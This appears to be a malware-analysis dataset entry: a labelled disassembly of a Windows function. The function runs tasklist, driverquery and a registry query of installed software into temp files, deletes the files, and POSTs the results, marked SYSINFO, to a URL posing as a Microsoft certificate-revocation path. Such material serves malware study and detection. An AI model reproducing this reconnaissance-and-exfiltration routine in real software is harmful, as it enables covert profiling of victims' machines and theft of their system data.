Function at 0x180001fc0
Capabilities:
Create process on windows
Delete file
Enumerate device drivers on windows
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x20], r9
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xe88]
sub rsp, 0xf50
mov rdi, rdx
mov rsi, rcx
lea rdx, [rbp + 0x20]
mov ecx, 0x104
mov r13, r8
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rbp + 0x230]
lea rdx, [0x1800083c4]
lea rcx, [rbp + 0x20]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov r12d, 0x400
lea r9, [rbp + 0x230]
lea r8, [0x1800083c8]
lea rcx, [rbp + 0x650]
mov edx, r12d
call fcn.1800040f0
mov r15d, 0x68
lea rcx, [rbp - 0x50]
mov r8d, r15d
xor edx, edx
call sub.ntdll.dll_memset
xor r14d, r14d
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0x650]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x20]
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], 0xc000000
mov dword [rbp - 0x50], r15d
mov dword [rsp + 0x20], r14d
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], r14
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
or ebx, 0xffffffff
test eax, eax
je 0x1800020d4
mov rcx, qword [rsp + 0x70]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rbp + 0x230]
lea r8, str.cmd__C__tasklist.exe__SVC_____s_
lea rcx, [rbp + 0x650]
mov edx, r12d
call fcn.1800040f0
lea rcx, [rbp - 0x50]
mov r8, r15
xor edx, edx
call sub.ntdll.dll_memset
lea rax, [rsp + 0x70]
lea rdx, [rbp + 0x650]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x20]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
xor ecx, ecx
mov dword [rsp + 0x28], 0xc000000
mov dword [rbp - 0x50], r15d
mov qword [rsp + 0x70], r14
mov dword [rsp + 0x20], r14d
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], r14
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x18000217b
mov rcx, qword [rsp + 0x70]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rbp + 0x230]
lea r8, str.cmd__C__driverquery.exe_____s_
lea rcx, [rbp + 0x650]
mov edx, r12d
call fcn.1800040f0
lea rcx, [rbp - 0x50]
mov r8, r15
xor edx, edx
call sub.ntdll.dll_memset
lea rax, [rsp + 0x70]
lea rdx, [rbp + 0x650]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x20]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
xor ecx, ecx
mov dword [rsp + 0x28], 0xc000000
mov dword [rbp - 0x50], r15d
mov qword [rsp + 0x70], r14
mov dword [rsp + 0x20], r14d
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], r14
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x180002222
mov rcx, qword [rsp + 0x70]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rbp + 0x230]
lea r8, str.cmd__C__reg.exe_query__HKLMSOFTWAREMicrosoftWindowsCurrentVersionUninstall___s_____s_
lea rcx, [rbp + 0x650]
mov edx, r12d
call fcn.1800040f0
lea rcx, [rbp - 0x50]
mov r8, r15
xor edx, edx
call sub.ntdll.dll_memset
lea rax, [rsp + 0x70]
lea rdx, [rbp + 0x650]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x20]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
xor ecx, ecx
mov dword [rsp + 0x28], 0xc000000
mov dword [rbp - 0x50], r15d
mov qword [rsp + 0x70], r14
mov dword [rsp + 0x20], r14d
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], r14
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1800022c9
mov rcx, qword [rsp + 0x70]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rbp + 0x230]
lea r8, str.cmd__C__echo______________s_
lea rcx, [rbp + 0x650]
mov edx, r12d
call fcn.1800040f0
lea rcx, [rbp - 0x50]
mov r8, r15
xor edx, edx
call sub.ntdll.dll_memset
lea rax, [rsp + 0x70]
lea rdx, [rbp + 0x650]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x20]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
xor ecx, ecx
mov dword [rsp + 0x28], 0xc000000
mov dword [rbp - 0x50], r15d
mov qword [rsp + 0x70], r14
mov dword [rsp + 0x20], r14d
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], r14
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x180002370
mov rcx, qword [rsp + 0x70]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rbp + 0x440]
lea rdx, [0x180008594]
lea rcx, [rbp + 0x20]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea rax, [rbp + 0x440]
lea r9, [rbp + 0x230]
lea r8, [0x180008598]
lea rcx, [rbp + 0x650]
mov edx, r12d
mov qword [rsp + 0x20], rax
call fcn.1800040f0
lea rcx, [rbp - 0x50]
mov r8, r15
xor edx, edx
call sub.ntdll.dll_memset
lea rax, [rsp + 0x70]
lea rdx, [rbp + 0x650]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x20]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
xor ecx, ecx
mov dword [rsp + 0x28], 0xc000000
mov dword [rbp - 0x50], r15d
mov qword [rsp + 0x70], r14
mov dword [rsp + 0x20], r14d
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], r14
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x18000243e
mov rcx, qword [rsp + 0x70]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea r8, [rbp + 0xeb0]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x440]
call fcn.180004344
lea rcx, [rbp + 0x440]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test ebx, ebx
jne 0x18000260d
mov rax, qword [rdi]
lea r8d, [rbx + 0x20]
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [rax + 8]
mov r12d, dword [rbp + 0xeb0]
mov r14, qword [rbp - 0x58]
mov r15d, eax
lea rax, [rbp + 0xea8]
lea r9, str.SYSINFO
mov qword [rsp + 0x68], rax
lea rax, [rbp - 0x68]
lea r8, [rsp + 0x70]
mov qword [rsp + 0x60], rax
lea rax, [rbp - 0x70]
mov rdx, r13
mov qword [rsp + 0x58], rax
lea rax, [rbp - 0x60]
mov rcx, rsi
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r12d
mov qword [rsp + 0x40], r14
lea rax, str._pki_mscorp_crl_MSIT_20Machine_20Auth_20CA_202_1_.crl
mov qword [rsp + 0x38], rax
lea rax, str.POST
mov qword [rsp + 0x30], rax
lea rax, [0x180008250]
mov qword [rsp + 0x20], rax
call fcn.180003124
mov r9, qword [rdi]
mov r8d, eax
mov edx, r15d
mov rcx, rdi
mov ebx, eax
call qword [r9 + 0x10]
test ebx, ebx
jne 0x1800025cb
mov r9, qword [rdi]
lea rdx, [rsp + 0x70]
mov r8d, 0x20
mov rcx, rdi
call qword [r9 + 8]
mov esi, eax
cmp eax, r15d
je 0x1800025c7
mov rcx, qword [rbp + 0xe90]
lea rax, [rbp + 0xea8]
lea r9, str.SYSINFO
mov qword [rsp + 0x68], rax
lea rax, [rbp - 0x68]
lea r8, [rsp + 0x70]
mov qword [rsp + 0x60], rax
lea rax, [rbp - 0x70]
mov rdx, r13
mov qword [rsp + 0x58], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r12d
mov qword [rsp + 0x40], r14
lea rax, str._pki_mscorp_crl_MSIT_20Machine_20Auth_20CA_202_1_.crl
mov qword [rsp + 0x38], rax
lea rax, str.POST
mov qword [rsp + 0x30], rax
lea rax, [0x180008250]
mov qword [rsp + 0x20], rax
call fcn.180003124
mov edx, esi
mov ebx, eax
mov rax, qword [rdi]
mov rcx, rdi
mov r8d, ebx
call qword [rax + 0x10]
test ebx, ebx
je 0x18000251f
test ebx, ebx
je 0x1800025fb
mov r8, qword [rbp - 0x60]
test r8, r8
je 0x1800025e3
mov rcx, qword [0x18000a270]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rbp - 0x68]
test r8, r8
je 0x1800025fb
mov rcx, qword [0x18000a270]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x18000a270]
mov r8, r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0xf98]
add rsp, 0xf50
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret